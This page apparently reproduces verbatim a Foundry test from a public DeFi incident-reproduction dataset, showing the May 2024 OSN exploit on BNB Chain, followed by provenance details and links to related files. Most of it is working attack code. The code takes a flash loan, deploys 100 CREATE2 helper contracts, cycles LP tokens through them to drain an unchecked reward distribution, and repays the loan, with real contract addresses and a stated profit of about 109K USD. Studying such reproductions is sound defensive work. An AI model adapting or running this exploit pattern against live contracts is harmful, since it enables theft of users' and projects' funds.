Public reproduction file
src/test/2024-05/OSN_exp.sol
Public reproduction file for dataset entry OSN.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// TX : https://app.blocksec.com/explorer/tx/bsc/0xc7927a68464ebab1c0b1af58a5466da88f09ba9b30e6c255b46b1bc2e7d1bf098// GUY : https://twitter.com/SlowMist_Team/status/17873305868578615649// Profit : ~109K USD10// Here is only one tx,total you can see here :https://bscscan.com/address/0x835b45d38cbdccf99e609436ff38e31ac05bc502#tokentxns11// REASON : Reward Distribution Problem12// Distribution contract did not check the LP hold time or whether the reciever is contract or not13// Actually there are 3 steps14// TX1:create help contract,split money : https://app.blocksec.com/explorer/tx/bsc/0xbf22eabb5db8785642ba17930bddef48d0d1bb94ebd1e03e7faa6f2a3d1a554015// TX2:help contract add Liq : https://app.blocksec.com/explorer/tx/bsc/0x69c64b226f8bf06216cc665ad5e3777ad1b120909326f120f0816ac65a9099c016// TX3:attack tx17interface Imoney {18 function addLiq(19 uint256 value20 ) external;21 function cc() external;22}24contract ContractTest is Test {25 IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));26 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);27 Uni_Pair_V3 pool = Uni_Pair_V3(0x46Cf1cF8c69595804ba91dFdd8d6b960c9B0a7C4);28 Uni_Pair_V2 wbnb_atm = Uni_Pair_V2(0x1F5b26DCC6721c21b9c156Bf6eF68f51c0D075b7);29 Uni_Router_V2 router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);30 IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);31 IERC20 OSN = IERC20(0x810f4C6AE97BCC66DA5Ae6383CC31BD3670f6d13);32 IERC20 OSN_PAIR = IERC20(0x4EEDdCc7C8714A684311F8b01154B5686A0f612f);33 uint256 constant PRECISION = 10 ** 18;34 address test_contract = address(this);35 uint256 borrow_amount;37 function setUp() external {38 cheats.createSelectFork("bsc", 38_474_365);39 deal(address(USDT), address(this), 0);40 }42 function testExploit() external {43 emit log_named_decimal_uint("[Begin] Attacker USDT before exploit", USDT.balanceOf(address(this)), 18);44 // borrow_amount = 500_000 ether;45 borrow_amount = 500_009_458_043_549_158_462_637;46 pool.flash(address(this), borrow_amount, 0, "");47 emit log_named_decimal_uint("[End] Attacker USDT after exploit", USDT.balanceOf(address(this)), 18);48 }50 function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, /*fee1*/ bytes memory /*data*/ ) public {51 OSN.approve(address(router), type(uint256).max - 1);52 USDT.approve(address(router), type(uint256).max - 1);53 OSN_PAIR.approve(address(router), type(uint256).max - 1);54 uint256 usdt_balance = USDT.balanceOf(address(this));55 swap_token_to_ExactToken(address(USDT), address(OSN), 10_000 ether, usdt_balance);56 swap_token_to_ExactToken(address(USDT), address(OSN), 10_000 ether, usdt_balance);57 swap_token_to_ExactToken(address(USDT), address(OSN), 10_000 ether, usdt_balance);58 swap_token_to_ExactToken(address(USDT), address(OSN), 10_000 ether, usdt_balance);59 swap_token_to_ExactToken(address(USDT), address(OSN), 10_000 ether, usdt_balance);60 swap_token_to_ExactToken(address(USDT), address(OSN), 10_000 ether, usdt_balance);61 swap_token_to_ExactToken(address(USDT), address(OSN), 10_000 ether, usdt_balance);62 usdt_balance = USDT.balanceOf(address(this));63 uint256 osn_balance = OSN.balanceOf(address(this)) - 100 * 1_000_000_000_000_000; //use to transfer to contract64 console.log(usdt_balance, osn_balance);65 router.addLiquidity(66 address(USDT), address(OSN), usdt_balance, osn_balance, 0, 0, address(this), block.timestamp67 );68 console.log(OSN_PAIR.balanceOf(address(this)));69 uint256 pair_balance = OSN_PAIR.balanceOf(address(this));70 uint256 helpContractAmount = 100;71 uint256 i = 0;72 // step1 transfer money to the money contract73 while (i < helpContractAmount) {74 address money = cal_address(i);75 USDT.transfer(money, 1_000_000_000_000_000);76 OSN.transfer(money, 1_000_000_000_000_000);77 i++;78 }80 // step2 create contract & add liq81 create_contract(helpContractAmount);83 // step 3 attack logic84 i = 0;85 while (i < helpContractAmount) {86 address money = cal_address(i);87 OSN_PAIR.transfer(money, pair_balance);88 Imoney(money).addLiq(pair_balance);89 i++;90 }91 router.removeLiquidity(92 address(USDT), address(OSN), OSN_PAIR.balanceOf(address(this)), 0, 0, address(this), block.timestamp93 );94 i = 0;95 while (i < 10) {96 // Activate divided97 swap_token_to_ExactToken(address(USDT), address(OSN), 10_000 ether, usdt_balance);98 swap_token_to_token(address(OSN), address(USDT), OSN.balanceOf(address(this)));99 i++;100 }101 i = 0;102 while (i < helpContractAmount) {103 // collect reward104 address money = cal_address(i);105 Imoney(money).cc();106 i++;107 }109 USDT.transfer(address(pool), borrow_amount + fee0);110 }112 function swap_token_to_ExactToken(address a, address b, uint256 amountout, uint256 amountInMax) internal {113 IERC20(a).approve(address(router), amountInMax);114 address[] memory path = new address[](2);115 path[0] = address(a);116 path[1] = address(b);117 router.swapTokensForExactTokens(amountout, amountInMax, path, address(this), block.timestamp);118 }120 function swap_token_to_token(address a, address b, uint256 amount) internal {121 IERC20(a).approve(address(router), amount);122 address[] memory path = new address[](2);123 path[0] = address(a);124 path[1] = address(b);125 router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);126 }128 function create_contract(129 uint256 times130 ) internal {131 uint256 i = 0;132 while (i < times) {133 bytes memory bytecode = type(Money).creationCode;134 uint256 _salt = i;135 bytecode = abi.encodePacked(bytecode);136 bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));137 address hack_contract = address(uint160(uint256(hash)));138 // console.log(hack_contract);139 address addr;140 // Use create2 to send money first.141 assembly {142 addr := create2(0, add(bytecode, 0x20), mload(bytecode), _salt)143 }144 i++;145 }146 }148 function cal_address(149 uint256 time150 ) internal returns (address) {151 bytes memory bytecode = type(Money).creationCode;152 uint256 _salt = time;153 bytecode = abi.encodePacked(bytecode);154 bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));155 address hack_contract = address(uint160(uint256(hash)));156 return hack_contract;157 }158}160contract Money {161 Uni_Router_V2 router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);162 IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);163 IERC20 OSN = IERC20(0x810f4C6AE97BCC66DA5Ae6383CC31BD3670f6d13);164 IERC20 OSN_PAIR = IERC20(0x4EEDdCc7C8714A684311F8b01154B5686A0f612f);165 address owner;167 constructor() {168 owner = msg.sender;169 OSN_PAIR.approve(address(router), type(uint256).max - 1);170 USDT.approve(address(router), type(uint256).max - 1);171 OSN.approve(address(router), type(uint256).max - 1);172 router.addLiquidity(address(USDT), address(OSN), 100_000, 100_000, 0, 0, address(this), block.timestamp);173 }175 function addLiq(176 uint256 value177 ) public {178 router.removeLiquidity(address(USDT), address(OSN), 35_524, 0, 0, address(this), block.timestamp);179 OSN_PAIR.transfer(address(owner), value);180 }182 function cc() public {183 router.addLiquidity(address(USDT), address(OSN), 100_000, 100_000, 0, 0, address(this), block.timestamp);184 USDT.transfer(address(owner), USDT.balanceOf(address(this)));185 }186}Analysis
Dataset entry
Public Foundry test for “OSN” (2024-05-06). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
18 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-05/Burner_exp.solSame month in the dataset · 63 lines
- src/test/2024-05/EXcommunity_exp.solSame month in the dataset · 139 lines
- src/test/2024-05/GFOX_exp.solSame month in the dataset · 69 lines
- src/test/2024-05/GPU_exp.solSame month in the dataset · 74 lines
- src/test/2024-05/Liquiditytokens_exp.solSame month in the dataset · 194 lines
- src/test/2024-05/MetaDragon_exp.solSame month in the dataset · 49 lines
- src/test/2024-05/MixedSwapRouter_exp.solSame month in the dataset · 188 lines
- src/test/2024-05/NORMIE_exp.solSame month in the dataset · 138 lines
- src/test/2024-05/PredyFinance_exp.solSame month in the dataset · 181 lines
- src/test/2024-05/RedKeysCoin_exp.solSame month in the dataset · 76 lines
- src/test/2024-05/SATURN_exp.solSame month in the dataset · 133 lines
- src/test/2024-05/SCROLL_exp.solSame month in the dataset · 68 lines
- src/test/2024-05/Sonne_exp.solSame month in the dataset · 185 lines
- src/test/2024-05/TCH_exp.solSame month in the dataset · 277 lines
- src/test/2024-05/TGC_exp.solSame month in the dataset · 74 lines
- src/test/2024-05/Tradeonorion_exp.solSame month in the dataset · 346 lines
- src/test/2024-05/TSURU_exp.solSame month in the dataset · 97 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
File record
- Name
- OSN
- Path
- src/test/2024-05/OSN_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 872101d956b39c56732ad5597635d04386d6fb37
- Language
- Solidity
- Size
- 187 lines
- Date
- 2024-05-06
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-05/OSN_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 872101d956b39c56732ad5597635d04386d6fb37, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.